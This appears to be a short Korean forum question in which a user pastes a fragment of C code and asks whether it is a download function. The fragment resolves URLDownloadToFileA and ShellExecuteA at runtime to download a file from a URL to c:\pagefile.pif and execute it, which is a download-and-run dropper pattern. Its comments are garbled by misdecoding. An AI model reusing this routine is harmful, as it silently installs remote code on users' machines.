이게 정확히 머인지알려주실분
가랑비
HMODULE hshell,hurlmon;
hshell=LoadLibrary(Shell32.dll);
hurlmon=LoadLibrary(urlmon.dll);
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
//땡檄속潼shell32.dll櫓돨ShellExecuteA변鑒
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);
//땡檄속潼Urlmon.dll櫓돨UrlDownloadToFileA변鑒
(FARPROC&)SHELLRUN=GetProcAddress(hshell,ShellExecuteA);
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,URLDownloadToFileA);
DOWNFILE(NULL,url,c:\\pagefile.pif,0, NULL);
SHELLRUN(0,open,c:\\pagefile.pif,NULL,NULL,5);
FreeLibrary(hshell);
FreeLibrary(hurlmon);
}
void OpenUrl(char url[])
{
HMODULE hshell;
hshell=LoadLibrary(Shell32.dll);
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );
//땡檄속潼shell32.dll櫓돨ShellExecuteA변鑒(FARPROC&)SHELLRUN=GetProcAddress(hshell,ShellExecuteA);SHELLRUN(0,open,url,NULL,NULL,5);
FreeLibrary(hshell);
}인데 이게 다운로드 함수인가요